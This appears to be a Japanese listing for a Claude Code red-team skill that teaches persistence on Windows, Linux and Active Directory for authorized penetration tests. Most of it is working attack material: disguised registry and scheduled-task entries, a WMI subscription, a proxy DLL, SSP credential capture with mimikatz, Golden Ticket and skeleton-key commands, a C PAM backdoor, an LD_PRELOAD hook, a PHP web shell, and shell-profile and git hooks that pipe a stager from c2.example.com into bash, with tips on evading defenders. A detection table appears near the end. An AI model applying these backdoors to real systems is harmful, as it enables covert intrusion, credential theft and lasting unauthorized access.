offensive-persistence について
許可を得たペネトレーションテスト向けの永続化手引きです。Windows、Linux、Active Directoryの手法を、必要な権限、検知の手掛かり、クリーンアップの観点とともに説明します。
主な機能
- 01Windowsの永続化手法
- 02Linuxの定期実行とサービス
- 03Active Directoryのドメイン手法
- 04必要な権限と検知情報
- 05削除と可逆性の指針
活用シーン
- 01許可済みテストでの永続化確認を計画
- 02再起動やログオフ後のアクセスを評価
- 03演習後の削除に向けた仕組みの記録
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ snailsploit/ claude-red --skill offensive-persistenceインストール後、Claude Code で/offensive-persistenceを入力して読み込まれたか確認します。
詳細
オフェンシブな永続化
永続化により、再起動やパスワード変更、定期メンテナンスの後もアクセスを維持できます。新たに最初の侵害を行わなくても、セッションを再確立したり、ペイロードを再実行したりする仕組みを仕込みます。永続化手法の選択は、権限レベル、対象 OS、エンゲージメントの範囲、許容できる検知リスクによって異なります。
このスキルでは、単純なレジストリキーからドメインレベルの Active Directory バックドアまで、Windows と Linux の永続化手法を扱います。ここで紹介するすべての手法は、対象上でコードを実行できることを前提としています。これらは許可されたエンゲージメントでのみ適用してください。
クイックワークフロー
- 現在の権限レベル(ユーザーレベル、管理者/root、ドメイン管理者)を評価します。
- 対象の OS バージョンと導入されているセキュリティ制御を特定します。
- アクセスレベルと必要な隠密性に合った永続化メカニズムを選択します。
- 再起動やログオフ後も永続化されることを検証します。
- エンゲージメント終了時のクリーンアップに備えて、正確なメカニズムと場所を記録します。
- 範囲が許す場合は、異なる権限レベルで複数の永続化手法を組み合わせます。
- 修復時に完全に削除できる、元に戻せる手法を優先します。
Windows:レジストリ自動起動
レジストリの Run キーと RunOnce キーは、ユーザーのログオン時またはシステムの起動時にコマンドを実行します。これらは最も単純な永続化メカニズムで、ユーザー権限と管理者権限のどちらでも動作します。
# User-level persistence (HKCU, no admin required)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /t REG_SZ /d "C:\Users\Public\payload.exe" /f
# Machine-level persistence (HKLM, requires admin)
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /t REG_SZ /d "C:\Windows\Temp\svc.exe" /f
# RunOnce -- executes once then deletes the key
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "Setup" /t REG_SZ /d "powershell -ep bypass -w hidden -f C:\Users\Public\init.ps1" /f
運用上の利便性を高めるために SharPersist を使用します。
# Add registry Run key persistence
SharPersist.exe -t reg -c "C:\Users\Public\payload.exe" -a "" -k "hkcurun" -v "WindowsUpdate" -m add
# List current registry persistence
SharPersist.exe -t reg -k "hkcurun" -m list
# Remove it during cleanup
SharPersist.exe -t reg -k "hkcurun" -v "WindowsUpdate" -m remove
知っておくべき追加の自動起動場所:
HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices
HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\load
HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKLM\System\CurrentControlSet\Services\<svc>\ImagePath
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
OPSEC に関する注意:レジストリの Run キーは、ディフェンダーが最初に確認する場所です。無害そうな値名を使ってください。Sysmon イベント 13(RegistryValueSet)は、これらのキーに対するすべてのレジストリ変更を記録します。
Windows:スケジュールされたタスク
スケジュールされたタスクを使うと、正確なタイミングを制御できる柔軟な永続化を実現できます。再起動後も維持され、SYSTEM または指定した任意のユーザーとして実行できます。
# Create a scheduled task running as SYSTEM at boot
schtasks /create /tn "Microsoft\Windows\Maintenance\SecurityScan" /tr "C:\Windows\Temp\svc.exe" /sc onstart /ru SYSTEM /f
# Create a task that runs every 15 minutes
schtasks /create /tn "CacheCleanup" /tr "powershell -ep bypass -w hidden -f C:\Users\Public\beacon.ps1" /sc minute /mo 15 /ru SYSTEM /f
# Create a task triggered by user logon
schtasks /create /tn "OneDriveSync" /tr "C:\Users\Public\payload.exe" /sc onlogon /f
SharPersist を使う方法:SharPersist.exe -t schtask -c "C:\Windows\Temp\svc.exe" -n "SecurityScan" -m add -o logon
より細かく制御するには PowerShell を使用します。
$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-ep bypass -w hidden -f C:\ProgramData\task.ps1"
$trigger = New-ScheduledTaskTrigger -AtStartup
$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest
$settings = New-ScheduledTaskSettingsSet -Hidden
Register-ScheduledTask -TaskName "Microsoft\Windows\AppID\PolicyConverter" -Action $action -Trigger $trigger -Principal $principal -Settings $settings
OPSEC に関する注意:既存の Microsoft ディレクトリ(例:Microsoft\Windows\Maintenance\)の下にタスク名を配置すると、既存のものに紛れ込ませることができます。イベント 4698 はタスクの作成を記録します。
Windows:WMI イベントサブスクリプション
WMI イベントサブスクリプションは、強力なファイルレス永続化メカニズムです。イベントフィルター(トリガー)、イベントコンシューマー(アクション)、それらを結び付けるバインディングの 3 つの要素で構成されます。
# Create a WMI event subscription that fires on system startup
# Event Filter -- fires 60 seconds after boot
$filter = Set-WmiInstance -Namespace "root\subscription" -Class "__EventFilter" -Arguments @{
Name = "CoreTelemetryFilter"
EventNameSpace = "root\cimv2"
QueryLanguage = "WQL"
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 60 AND TargetInstance.SystemUpTime < 120"
}
# Event Consumer -- execute payload
$consumer = Set-WmiInstance -Namespace "root\subscription" -Class "CommandLineEventConsumer" -Arguments @{
Name = "CoreTelemetryConsumer"
CommandLineTemplate = "powershell.exe -ep bypass -w hidden -f C:\ProgramData\Microsoft\telemetry.ps1"
}
# Binding
Set-WmiInstance -Namespace "root\subscription" -Class "__FilterToConsumerBinding" -Arguments @{
Filter = $filter
Consumer = $consumer
}
クリーンアップ -- エンゲージメント終了時に 3 つの要素をすべて削除します。
Get-WmiObject -Namespace "root\subscription" -Class "__EventFilter" -Filter "Name='CoreTelemetryFilter'" | Remove-WmiObject
Get-WmiObject -Namespace "root\subscription" -Class "CommandLineEventConsumer" -Filter "Name='CoreTelemetryConsumer'" | Remove-WmiObject
Get-WmiObject -Namespace "root\subscription" -Class "__FilterToConsumerBinding" | Where-Object { $_.Filter -match "CoreTelemetryFilter" } | Remove-WmiObject
OPSEC に関する注意:WMI サブスクリプションは CIM リポジトリ(C:\Windows\System32\wbem\Repository\)に保存されます。Sysmon イベント 19/20/21 は、WMI フィルター、コンシューマー、バインディングの作成を記録します。これは比較的隠密性の高いネイティブの永続化手法の 1 つですが、監視は強化されています。
Windows:DLL ハイジャックと COM ハイジャック
DLL 検索順序のハイジャック
アプリケーションが完全なパスを指定せずに DLL を読み込む場合、Windows は定義された順序でディレクトリを検索します。正規の DLL より先に検索されるディレクトリに、悪意のある DLL を配置します。
Process Monitor でハイジャック可能な DLL を見つけます。Result = NAME NOT FOUND と Path ends with .dll でフィルターします。完全なパスを指定せずに DLL を読み込むアプリケーションは、System32 より先にアプリケーションのディレクトリを検索するため、バイナリと同じ場所に DLL を配置します。
// Minimal proxy DLL template (forwards calls to legit DLL)
// Compile: cl /LD /Fe:target.dll hijack.c
#include <windows.h>
#pragma comment(linker, "/export:OriginalFunc=legit.OriginalFunc")
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
if (fdwReason == DLL_PROCESS_ATTACH) {
// Execute payload in a new thread
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)PayloadFunc, NULL, 0, NULL);
}
return TRUE;
}
COM ハイジャック
COM オブジェクトはレジストリを介して解決されます。HKCU への書き込みは HKLM のエントリより優先されるため、DLL を検索チェーンに挿入できます。
# Find COM objects scheduled to load (hijack candidates)
# Look for InprocServer32 keys under HKLM that do not exist under HKCU
# Hijack a COM object used by explorer.exe
# CLSID {BCDE0395-E52F-467C-8E3D-C4579291692E} -- MMDeviceEnumerator
New-Item -Path "HKCU:\Software\Classes\CLSID\{BCDE0395-E52F-467C-8E3D-C4579291692E}\InprocServer32" -Value "C:\Users\Public\payload.dll" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\CLSID\{BCDE0395-E52F-467C-8E3D-C4579291692E}\InprocServer32" -Name "ThreadingModel" -Value "Both" -Force
OPSEC に関する注意:HKCU 配下の COM ハイジャックには管理者権限は不要です。COM オブジェクトがインスタンス化されるたびにペイロードが読み込まれます。Sysmon イベント 7(ImageLoad)は、不審な DLL の読み込みを検知します。
Windows:サービスと SSP による永続化
サービスの作成
# Create a persistent service
sc create "WinDefHealthSvc" binpath= "C:\Windows\Temp\svc.exe" start= auto obj= LocalSystem
sc description "WinDefHealthSvc" "Windows Defender Health Service Monitor"
sc start "WinDefHealthSvc"
# Modify an existing service (riskier, breaks legitimate service)
sc config "wuauserv" binpath= "cmd /c C:\Windows\Temp\svc.exe & C:\Windows\System32\svchost.exe -k netsvcs -p"
セキュリティサポートプロバイダー(SSP)DLL
SSP DLL は起動時に LSASS によって読み込まれ、すべての対話型ログオンの 平文の認証情報を受け取ります。これは、強力な認証情報を窃取するための 永続化手法です。
# Copy SSP DLL to System32
copy mimilib.dll C:\Windows\System32\
# Register the SSP (persists across reboots)
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v "Security Packages" /t REG_MULTI_SZ /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /f
# In-memory SSP injection (does not survive reboot without registry key)
# Using mimikatz:
misc::memssp
# Credentials logged to C:\Windows\System32\mimilsa.log
OPSEC に関する注意:SSP による永続化には管理者権限が必要で、LSASS を変更します。 Credential Guard はこれを完全にブロックします。新しい SSP が登録されると、 イベント 4622(セキュリティパッケージの読み込み)が発生します。
Windows:Active Directory の永続化
これらの手法は、個々のホストの修復後も残る、ドメインレベルの永続化を実現します。 ドメイン管理者または同等の権限が必要です。
ゴールデンチケット
# Extract the KRBTGT hash
impacket-secretsdump -just-dc-user krbtgt corp.local/admin:[email protected]
# Forge a Golden Ticket (valid for any service in the domain)
impacket-ticketer -nthash <KRBTGT_HASH> -domain-sid S-1-5-21-XXXXXXXXXX -domain corp.local administrator
export KRB5CCNAME=administrator.ccache
# With mimikatz
kerberos::golden /user:administrator /domain:corp.local /sid:S-1-5-21-XXXXXXXXXX /krbtgt:<KRBTGT_HASH> /ptt
シルバーチケット
# Forge a Silver Ticket for a specific service (e.g., CIFS on a file server)
impacket-ticketer -nthash <SVC_HASH> -domain-sid S-1-5-21-XXXXXXXXXX -domain corp.local -spn cifs/fileserver.corp.local administrator
# With mimikatz
kerberos::golden /user:administrator /domain:corp.local /sid:S-1-5-21-XXXXXXXXXX /target:fileserver.corp.local /service:cifs /rc4:<SVC_HASH> /ptt
スケルトンキー
# Inject skeleton key into DC LSASS (all accounts accept "mimikatz" as password)
# Requires admin on DC, does NOT survive reboot
misc::skeleton
# Authenticate with skeleton key
net use \\dc01\c$ /user:corp\anyuser mimikatz
AdminSDHolder の悪用
# Grant a user full control over AdminSDHolder
# SDProp propagates this ACL to all protected groups every 60 minutes
Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=corp,DC=local" -PrincipalIdentity backdooruser -Rights All -Verbose
# The backdooruser will gain full control over Domain Admins, Enterprise Admins, etc.
DCShadow と SID 履歴の注入
# DCShadow: register rogue DC and push replication changes (requires DA)
# Terminal 1: lsadump::dcshadow /object:targetuser /attribute:SIDHistory /value:S-1-5-21-XXXXXXXXXX-500
# Terminal 2: lsadump::dcshadow /push
# SID History: add DA SID to a regular user (requires DC access)
sid::add /sam:backdooruser /new:S-1-5-21-XXXXXXXXXX-512
OPSEC に関する注意:ゴールデンチケットのデフォルトの有効期間は 10 年です。防御側は、 ドメインポリシーの最大値を超える有効期間を持つ TGT を探して検出します。 DCShadow は非常にステルス性が高い一方、ドメイン管理者権限が必要です。スケルトンキーは 再起動すると失われ、DC 自体の LSASS を変更します。
Linux:Cron、At、Systemd による永続化
Cron ジョブ
# User-level cron (no root required)
crontab -e
# Add: */15 * * * * /home/user/.config/update.sh
# System-level cron (requires root)
echo '*/15 * * * * root /opt/.cache/beacon.sh' >> /etc/crontab
# Drop a cron file in cron.d
echo '*/15 * * * * root /opt/.cache/beacon.sh' > /etc/cron.d/logrotate-helper
# Cron directories for specific timing
cp payload.sh /etc/cron.hourly/health-check
chmod +x /etc/cron.hourly/health-check
At ジョブ
# Schedule a one-time execution (self-rescheduling for recurrence)
echo "/opt/.cache/beacon.sh" | at now + 1 hour
# In beacon.sh, add: echo "/opt/.cache/beacon.sh" | at now + 30 minutes
Systemd タイマーとサービス
# Create a systemd service
cat << 'EOF' > /etc/systemd/system/system-health.service
[Unit]
Description=System Health Monitor
[Service]
Type=simple
ExecStart=/opt/.cache/beacon.sh
Restart=on-failure
RestartSec=60
[Install]
WantedBy=multi-user.target
EOF
# Create a timer for periodic execution
cat << 'EOF' > /etc/systemd/system/system-health.timer
[Unit]
Description=System Health Check Timer
[Timer]
OnBootSec=120
OnUnitActiveSec=900
Unit=system-health.service
[Install]
WantedBy=timers.target
EOF
# Enable and start
systemctl daemon-reload
systemctl enable system-health.timer
systemctl start system-health.timer
ユーザーレベルの systemd(root 権限なし)の場合は、ユニットファイルを ~/.config/systemd/user/
に配置し、systemctl --user enable/start を使用します。
Linux:シェル、SSH、認証による永続化
SSH の許可済みキー
# Inject your public key (user-level, no root required)
echo "ssh-rsa AAAA...your_key... operator@redteam" >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
# Hide in a custom location via sshd_config (requires root)
echo "AuthorizedKeysFile .ssh/authorized_keys /etc/ssh/legacy_keys/%u" >> /etc/ssh/sshd_config
mkdir -p /etc/ssh/legacy_keys/root/
echo "ssh-rsa AAAA...your_key..." > /etc/ssh/legacy_keys/root/authorized_keys
systemctl restart sshd
シェルプロファイルのバックドア
# Backdoor .bashrc (every interactive shell) or .bash_profile (login shell)
echo 'nohup /opt/.cache/beacon.sh &>/dev/null &' >> ~/.bashrc
echo '(curl -s https://c2.example.com/stager | bash &) 2>/dev/null' >> ~/.bash_profile
# /etc/profile affects all users (requires root)
echo 'test $(id -u) -eq 0 && nohup /opt/.cache/beacon.sh &>/dev/null &' >> /etc/profile
PAM バックドア
// Malicious PAM module that accepts a backdoor password
// Compile: gcc -shared -fPIC -o pam_backdoor.so pam_backdoor.c -lpam
#include <security/pam_modules.h>
#include <string.h>
#define BACKDOOR_PASS "s3cure_backd00r"
PAM_EXTERN int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) {
const char *password = NULL;
pam_get_authtok(pamh, PAM_AUTHTOK, &password, NULL);
if (password && strcmp(password, BACKDOOR_PASS) == 0) {
return PAM_SUCCESS;
}
return PAM_AUTH_ERR; // Fall through to next module
}
# Install the PAM backdoor
cp pam_backdoor.so /lib/x86_64-linux-gnu/security/
# Add to PAM configuration (before pam_unix.so)
sed -i '1a auth sufficient pam_backdoor.so' /etc/pam.d/common-auth
OPSEC に関する注意:PAM バックドアは強力ですが、/etc/pam.d/ の変更を誤ると すべてのユーザーが締め出される可能性があります。十分にテストしてください。ファイル整合性監視 (AIDE、OSSEC)は、PAM モジュールの変更を検出します。
Linux:LD_PRELOAD、カーネルモジュール、Web シェル
LD_PRELOAD の乗っ取り
// Shared library that hooks libc functions and executes a payload
// Compile: gcc -shared -fPIC -o libsec.so preload.c -ldl
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
__attribute__((constructor))
void init(void) {
// Run once per process load
if (access("/tmp/.beacon_lock", F_OK) != 0) {
system("touch /tmp/.beacon_lock && /opt/.cache/beacon.sh &");
}
}
# System-wide LD_PRELOAD (affects all dynamically linked binaries)
echo "/lib/x86_64-linux-gnu/.libsec.so" >> /etc/ld.so.preload
# Or per-user via .bashrc
echo 'export LD_PRELOAD=/lib/x86_64-linux-gnu/.libsec.so' >> ~/.bashrc
カーネルモジュール型ルートキット
ロード可能なカーネルモジュール(LKM)型ルートキットは、VFS の readdir をフックして、
ファイル、プロセス、ネットワーク接続を隠します。モジュールリストから自らを削除し
(list_del_init(&__this_module.list))、lsmod による検出を回避します。
# Load the kernel module
insmod rootkit.ko
# Persist across reboots
cp rootkit.ko /lib/modules/$(uname -r)/kernel/drivers/misc/
depmod -a
echo "rootkit" >> /etc/modules
Web シェル
<?php
// Minimal PHP web shell -- blend into an existing web application
// Place in a file resembling legitimate app code
if(isset($_REQUEST['debug_token']) && $_REQUEST['debug_token'] === 'auth_key_here') {
echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
}
?>
# Hide web shell in an existing web application directory
cp shell.php /var/www/html/wp-includes/class-wp-locale-debug.php
# JSP web shell for Java applications
# Place in the webapps directory of Tomcat/JBoss
Git フック
# Backdoor a Git hook in a repository developers use
cat << 'EOF' > /path/to/repo/.git/hooks/post-merge
#!/bin/bash
nohup /opt/.cache/beacon.sh &>/dev/null &
EOF
chmod +x /path/to/repo/.git/hooks/post-merge
# pre-commit hook executes on every commit
cat << 'EOF' > /path/to/repo/.git/hooks/pre-commit
#!/bin/bash
(curl -s https://c2.example.com/stager | bash &) 2>/dev/null
exit 0
EOF
chmod +x /path/to/repo/.git/hooks/pre-commit
検出/防御側の視点
| 手法 | 主な検出方法 | 主な指標 |
|---|---|---|
| レジストリの Run キー | Sysmon 13(RegistryValueSet) | Run/RunOnce パス内の新しい値 |
| スケジュールされたタスク | イベント 4698(タスクの作成) | 標準外のパスにあるタスク、SYSTEM コンテキスト |
| WMI サブスクリプション | Sysmon 19/20/21 | 新しい永続的イベントコンシューマー |
| DLL の乗っ取り | Sysmon 7(ImageLoad) | 通常とは異なるディレクトリから読み込まれた DLL |
| COM の乗っ取り | レジストリの監視 | HKCU InprocServer32 の上書き |
| サービスの作成 | イベント 7045、4697 | 不審な binpath を持つ新しいサービス |
| SSP DLL | イベント 4622 | LSA の設定にある新しいセキュリティパッケージ |
| ゴールデン/シルバーチケット | イベント 4768/4769 | 有効期間または暗号化方式が異常な TGT |
| DCShadow | レプリケーションメタデータの変更 | 不正な DC の登録(SPN) |
| Cron/systemd | ファイル整合性監視 | 新しい cron エントリ、新しいユニットファイル |
| SSH キー | authorized_keys の監視 | 新しいキー、変更された AuthorizedKeysFile |
| PAM モジュール | ファイル整合性監視 | 変更された pam.d 設定、新しい .so ファイル |
| LD_PRELOAD | /etc/ld.so.preload の確認 | preload または環境変数内の予期しないエントリ |
| カーネルモジュール | lsmod、kmod の監視 | 不明なモジュール、変更された /etc/modules |
| Web シェル | WAF、ファイル整合性監視、YARA | exec 関数を含む小さな PHP/JSP ファイル |
防御側の主な対策:
- AppLocker/WDAC は実行できる実行ファイルと DLL を制限します。
- Credential Guard は SSP DLL の注入と LSASS からの認証情報窃取をブロックします。
- Protected Users グループ は機密性の高いアカウントの NTLM とキャッシュを防ぎます。
- AIDE/OSSEC は Linux システム上のファイル整合性の変更を検出します。
- auditd ルールは cron ディレクトリでのファイル作成とモジュールの読み込みを記録します。
- Autoruns(Sysinternals)は Windows 上のすべての自動起動場所を列挙します。
エンゲージメント用チートシート
SCENARIO TECHNIQUE TOOL / COMMAND
------------------------------- -------------------------- ----------------------------------------
User-level Windows, quick Registry Run key reg add HKCU\...\Run
User-level Windows, reliable Scheduled task (user) schtasks /create /sc onlogon
Admin Windows, stealthy WMI event subscription Set-WmiInstance __EventFilter
Admin Windows, service Service creation sc create ... start= auto
Admin Windows, cred harvest SSP DLL mimilib.dll + LSA registry
Domain admin, long-term Golden Ticket impacket-ticketer / kerberos::golden
Domain admin, targeted service Silver Ticket impacket-ticketer -spn
Domain admin, ACL abuse AdminSDHolder Add-DomainObjectAcl
User-level Linux, quick Cron job crontab -e
User-level Linux, SSH authorized_keys echo key >> authorized_keys
Root Linux, reliable Systemd service + timer systemctl enable
Root Linux, stealthy LD_PRELOAD /etc/ld.so.preload
Root Linux, deep Kernel module insmod + /etc/modules
Web server access Web shell PHP/JSP in webroot
Developer environment Git hooks .git/hooks/post-merge
MITRE ATT&CK の参照情報:
- T1547 -- ブートまたはログオン時の自動実行(.001 レジストリ Run キー、.004 Winlogon、.005 SSP)
- T1053 -- スケジュールされたタスク/ジョブ(.002 At、.003 Cron、.005 スケジュールされたタスク)
- T1546 -- イベントトリガーによる実行(.003 WMI、.015 COM ハイジャック)
- T1556 -- 認証プロセスの変更(.003 プラグ可能な認証モジュール)
- T1543 -- システムプロセスの作成または変更(.003 Windows サービス)
- T1574 -- 実行フローのハイジャック(.001 DLL 検索順序、.012 COM ハイジャック)
- T1558 -- Kerberos チケットの窃取または偽造(.001 Golden Ticket、.002 Silver Ticket)
- T1098 -- アカウント操作(.003 クラウドロールの追加)
- T1505 -- サーバーソフトウェアコンポーネント(.003 Web シェル)
主要な参考資料
- SharPersist:https://github.com/mandiant/SharPersist
- Mimikatz wiki:https://github.com/gentilkiwi/mimikatz/wiki
- Impacket:https://github.com/fortra/impacket
- PayloadsAllTheThings -- 永続化:https://github.com/swisskyrepo/PayloadsAllTheThings
- The Hacker Recipes -- AD の永続化:https://www.thehacker.recipes/ad/persistence
- MITRE ATT&CK の永続化:https://attack.mitre.org/tactics/TA0003/
- Linux の永続化手法(Pepe Berba):https://pberba.github.io/security/2022/02/06/linux-threat-hunting-for-persistence-systemd-timers-cron/
- Autoruns(Sysinternals):https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns